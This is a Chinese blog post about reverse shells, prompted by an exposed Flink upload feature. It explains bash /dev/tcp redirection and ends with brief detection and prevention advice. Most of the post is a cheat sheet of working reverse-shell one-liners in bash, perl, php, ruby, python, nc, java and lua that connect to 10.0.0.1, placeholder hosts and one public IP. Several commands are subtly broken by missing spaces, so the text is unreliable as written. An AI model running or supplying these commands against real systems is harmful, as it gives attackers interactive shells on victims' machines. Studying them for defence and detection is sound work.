美文网首页
Shell反弹

Shell反弹

作者: AI猫头鹰 | 来源:发表于2019-02-14 15:45 被阅读0次

    背景

    前段时间因为使用Flink默认配置,没有禁用通过web上传jar包提交作业的功能,同时服务器配有公网地址,也没有对相应的端口配置防火墙,导致任意用户可以通过Flink上传jar包执行任务,并伴有反弹shell获取shell权限的风险。在此总结一下反弹shell,加深理解。

    反弹shell的作用

    通常攻击者在自己的机器去连接目标机器(目标IP:目标机器端口),叫做正向连接。如远程桌面,web服务,ssh,telnet等等。然而在以下情况时,正向连接不大适用:

    1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2. 它的IP会动态改变,你不能持续控制。

    3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    反弹shell的本质

    当目标机器主动连接攻击者机器时,要实现对远程机器的操控,其实就是两台机器的通信,本质上在目标机器上多了对通信信息的执行过程。在linux中有各种重定向的功能,目标机器通过设置对通信内容进行交互执行即完成shell反弹。如下示例:

    攻击机器上执行:

    nc -lvp 2333

    受害机器上执行:

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

    bash -i 表示产生交互式的shell,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备,如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。

    >&表示将标准输出和错误输出都重定向至指定文件,0>&1表示标准输入重定向至标准输出。因此,受害机器上的标准输入将通过/dev/tcp/192.168.146.129/2333文件读取并执行,标准输出和错误输出将写入/dev/tcp/192.168.146.129/2333文件。完成了shell的反弹效果。

    多种反弹shell命令

    本机开启监听:

    nc -lvnp 4444

    目标机器开启反弹

    bash版本:

    bash-i >& /dev/tcp/10.0.0.1/4444 0>&1

    perl版本:

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    php版本:

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    ruby版本:

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    python版本:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    nc版本:

    nc -e /bin/sh10.0.0.1 1234

    rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f

    nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

    java版本:

    r = Runtime.getRuntime()

    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

    p.waitFor()

    lua版本:

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    NC版本不使用-e参数:

    mknod/tmp/backpipep

    /bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe

     /bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

     mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe

    检测及预防

    检测shell反弹的总体思路如下:

    1. 及时发现Bash进程启动事件。

    2. 检查Bash进程是否打开了终端设备,是否有主动对外连接。

    总结

    不管采用何种方式反弹shell都是受害机器主动连接攻击机器,采用socket进行通信并交互执行。受害机器需要配好防火墙,限制端口,防范攻击者植入反弹shell程序,当检测出漏洞无法确定时及时备份数据重装系统。

    参考链接

    https://xz.aliyun.com/t/2549

    http://ijianbian.com/home/post/detail?id=6202977

    https://4hou.win/wordpress/?p=25737

    相关文章

      网友评论

          本文标题:Shell反弹

          本文链接:https://www.haomeiwen.com/subject/oqseeqtx.html